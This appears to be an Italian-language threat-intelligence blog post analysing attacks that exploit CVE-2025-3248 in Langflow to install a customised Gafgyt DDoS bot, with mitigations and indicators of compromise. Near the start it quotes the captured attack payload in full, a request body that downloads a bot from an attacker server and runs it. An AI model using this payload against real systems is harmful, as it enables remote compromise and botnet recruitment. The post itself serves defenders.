Risultati principali
I criminali stanno sfruttando attivamente una vulnerabilità RCE (Remote Code Execution) presente all'interno dell'endpoint delle API di verifica del codice di Langflow, un diffuso sistema visivo per la prototipazione di applicazioni basate sull'AI e sui modelli LLM (Large Language Model).
Una volta violato il sistema, l'exploit rilascia una variante altamente personalizzata del bot DDoS (Distributed Denial-of-Service) di Gafgyt. Questo payload specifico, che è stato privato di funzioni secondarie come i cryptominer per concentrarsi esclusivamente sul sovraccarico della rete, nasconde le comunicazioni C2 (Command and Control) con un flusso RC4 cifrato, complesso e modificato, che è stato progettato per bypassare gli strumenti standard per la decodifica automatizzata.
Poiché lo sviluppo dell'AI aziendale evolve rapidamente, i team distribuiscono spesso strumenti sperimentali come Langflow nelle reti di produzione o di staging senza una corretta segmentazione della rete né protezioni del firewall o un rigoroso filtraggio del traffico in uscita, creando un ambiente altamente affidabile in cui il traffico C2 dannoso in uscita può bypassare facilmente i filtri aziendali.
La difesa dell'infrastruttura dell'AI richiede un ritorno ai protocolli di sicurezza di base: l'applicazione di patch ai bug presenti nell'esecuzione del codice arbitrario negli orchestratori dell'AI, l'implementazione di rigorosi filtri per il traffico in uscita (come il blocco del traffico non autorizzato tramite la porta 1337), l'isolamento degli ambienti di sviluppo tramite le soluzioni WAF (Web Application Firewall) e l'implementazione di firme YARA mirate.
Il mondo della cybersecurity ha trascorso gli ultimi anni a preoccuparsi delle avanzate minacce dell'intelligenza artificiale, come il phishing automatizzato, i deepfake e il malware autonomo. Tuttavia, i criminali stanno dimostrando che i loro obiettivi immediati sono molto più pragmatici: non vogliono solo manipolare l'intelligenza artificiale, ma intendono mettere a rischio la sua infrastruttura sottostante per favorire l'aumento della criminalità informatica tradizionale.
La recente intelligence delle minacce rivela un'affascinante intersezione tra la moderna implementazione dell'intelligenza artificiale e la classica architettura delle botnet: i criminali stanno sfruttando attivamente la vulnerabilità CVE-2025-3248 (una vulnerabilità RCE in Langflow) per lanciare una variante altamente personalizzata del bot DDoS di Gafgyt/BASHLITE.
In questo post del blog, descriverò il modo con cui i criminali stanno sfruttando attivamente la vulnerabilità CVE-2025-3248 per sferrare attacchi di forza bruta contro la rete tramite gli avanzati sistemi di intelligenza artificiale.
L'accesso iniziale con la vulnerabilità CVE-2025-3248
Langflow è un comune sistema visivo utilizzato dagli sviluppatori per creare prototipi e realizzare applicazioni e modelli LLM basati sull'AI. Poiché queste applicazioni richiedono un modo per sottoporre a test ed eseguire la logica personalizzata, alcuni endpoint gestiscono l'esecuzione del codice.
I criminali hanno rivolto questa capacità contro la piattaforma. In rete, si osserva il seguente payload dannoso prendere di mira l'API di verifica del codice:
{
"code": "import os; os.system(\"wget -q -O /tmp/bot_x86_64 http://184.174.96.191:8088/bot.x86_64 && chmod +x /tmp/bot_x86_64 && /tmp/bot_x86_64\")"
}Anatomia dell'exploit
La vulnerabilità: l'endpoint /api/v1/validate/code accetta gli script Python non attendibili e li esegue sul sistema host senza un sandboxing appropriato.
La delivery: il codice inserito utilizza le funzioni standard della libreria Python (os.system) per richiamare wget.
Il recupero: il codice scarica in modo invisibile un file eseguibile x86_64 di Linux da un server di staging remoto (184.174.96.191:8088), lo contrassegna come eseguibile (chmod +x) e lo lancia direttamente dalla directory /tmp volatile.
Analisi della variante Gafgyt/BASHLITE
Esecuzione e comportamento di elusione
All'avvio, il file binario esegue una sequenza progettata per nascondere la propria presenza e preparare i suoi motori interni:
L'impronta digitale: il file è in grado di creare un inquietante banner ASCII nello stdout: come at me krebs rimasuta go BRRT (facendo riferimento a Brian Krebs, un importante giornalista che si occupa di sicurezza, e alla botnet rimasuta.
Demonizzazione: richiama immediatamente clone() per eseguire il fork di un processo figlio all'uscita del processo principale, quindi chiude i descrittori di input, di output e di errore standard (stdio), scollegandosi completamente dal terminale per essere eseguito in modo invisibile in background.
Aggressione pura: il file binario non contiene cryptominer né un meccanismo di persistenza o uno scanner del movimento laterale. L'intero percorso di esecuzione è ottimizzato per un'unica attività: il sovraccarico della rete.
La crittografia personalizzata e il protocollo C2
Questa variante implementa una sofisticata crittografia a flusso RC4 modificata e multifase per proteggere le comunicazioni C2. Lo schema di crittografia si discosta dallo standard RC4 in tre modi distinti per superare gli strumenti di decodifica automatica standard:
S-box seed non standard: invece di inizializzare l'S-box in modo lineare, lo schema di crittografia lo compila utilizzando una sequenza aritmetica personalizzata: $S[i] = (0x0D + i \times 0xA7) \pmod{256}$.
KSA (Key Scheduling Algorithm) a due fasi: utilizza chiavi a 32 bit integrate nel codice sorgente (0xDEADBEEF, 0xCAFEBABE, ecc.) per cambiare l'S-box, seguite da cinque passate di una classica riorganizzazione dell'LCG (Linear Congruential Generator) di Borland.
Algoritmo di generazione pseudo-casuale (PRGA) modificato: i byte della sequenza di tasti sono ulteriormente criptati con un contatore a scorrimento e operazioni in bit (ROL e SHR).
Capacità dell'attacco
Il bot presenta quattro percorsi di esecuzione distinti, che sono mappati direttamente alle chiamate di sistema sendto, in linea con quattro classici vettori di attacco DoS (Denial-of-Service):
Stato | Vettore di attacco | Meccanismo tecnico |
|---|---|---|
0x01 | UDP Flood | Loop sendto non elaborati che emettono elevati volumi di datagrammi UDP |
0x02 | TCP Flood | Connessione e spamming di pacchetti SYN/ACK |
0x03 | HOLD Flood | Esaurimento della connessione Keep-Alive che prende di mira i server web |
0x04 | Junk/STD Flood | UDP Flood di payload casuale per esaurire le tabelle di stato prese di mira |
Rischi strategici per l'infrastruttura dell'intelligenza artificiale
Si è portati a pensare alle applicazioni basate sull'intelligenza artificiale come a specifici ambienti isolati dal resto dello stack IT aziendale, mentre, in realtà, i criminali le ritengono una risorsa preziosa. L'hijacking di un server dell'intelligenza artificiale per una botnet offre diversi vantaggi:
Elaborazione e larghezza di banda enormi: i carichi di lavoro basati sull'AI sono quasi sempre ospitati su istanze cloud performanti o solidi server aziendali. Questi sistemi dispongono dell'enorme larghezza di banda di rete necessaria per sferrare devastanti attacchi DDoS.
La vulnerabilità "IT ombra": poiché lo sviluppo dell'intelligenza artificiale si sta muovendo a velocità rivoluzionarie, i team spesso spostano piattaforme sperimentali come Langflow in ambienti di produzione o staging senza una corretta segmentazione della rete, gestione delle vulnerabilità o protezione del firewall.
Ambienti attendibili: l'infrastruttura cloud aziendale spesso dispone di autorizzazioni di rete più ampie rivolte verso l'esterno, consentendo al traffico C2 in uscita di bypassare i filtri di uscita aziendali standard.
Difesa e mitigazione
Se il tuo team utilizza Langflow o simili orchestratori visivi basati sull'intelligenza artificiale, si consiglia vivamente di adottare un approccio difensivo immediato.
Patch e aggiornamenti: assicurati che le distribuzioni di Langflow siano aggiornate a versioni che risolvono le vulnerabilità di esecuzione del codice arbitrario nelle API di verifica del codice.
Implementare un filtro di uscita rigoroso: gli ambienti di addestramento e prototipazione dell'AI raramente necessitano di un accesso TCP completo in uscita a indirizzi IP pubblici arbitrari. Blocca le connessioni in uscita su porte insolite come la porta 1337.
Isolamento della rete: considera gli ambienti di sviluppo dell'intelligenza artificiale come reti non attendibili. Devi isolarli dagli ambienti aziendali principali e limitare l'accesso all'Internet pubblico tramite le soluzioni WAF.
Implementare le firme YARA: monitorare i file binari di sistema e le directory volatili per i byte crittografici del S-box seed, specifici di quanto segue: 0d b4 5b 02 a9 50 f7 9e.
Conclusione
Lo sfruttamento della vulnerabilità CVE-2025-3248 è una forte testimonianza del cambiamento nel panorama della sicurezza, non solo della sua evoluzione. Man mano che integriamo rapidamente potenti sistemi di AI come Langflow nei nostri stack aziendali, dobbiamo resistere all'urgenza di considerare queste piattaforme come ambienti isolati o specializzati. I criminali sono consapevoli del potenziale di computing e larghezza di banda all'interno di questi ambienti e li sfruttano con gli stessi metodi collaudati che utilizzano per le botnet da decenni.
La protezione dell'infrastruttura dell'intelligenza artificiale richiede un ritorno alle pratiche di base della sicurezza: solida segmentazione della rete, rigorosi filtri di uscita e gestione vigile delle patch. Nella corsa per realizzare la prossima generazione di applicazioni basate sull'intelligenza artificiale, non possiamo permetterci di lasciare adito ai fantasmi del passato del crimine informatico.
Appendice tecnica sugli IoC e sulla difesa
Hash di file e sistema
SHA256: e00d92ca28a2cfd75e96f71fc0408747f04942657fcab0f2a25ce79bc3ad23a8
ID build ELF (SHA1): 523ae28b0833f9a68f4264d16c803ca5fdc771b9
Indicatori di rete
IP del server C2: 184.174.96.191
Porta di staging malware: 8088/TCP (download HTTP)
Porta di comando C2: 1337/TCP (traffico crittografato)
Firme host
Connessioni in uscita agli IP esterni tramite la porta 1337
Processi non riconosciuti in esaurimento da /tmp che chiudono immediatamente i descrittori di file standard
La stringa come at me krebs rimasuta go BRRT presente all'interno dei registri di output o delle stringhe di memoria standard
Tag
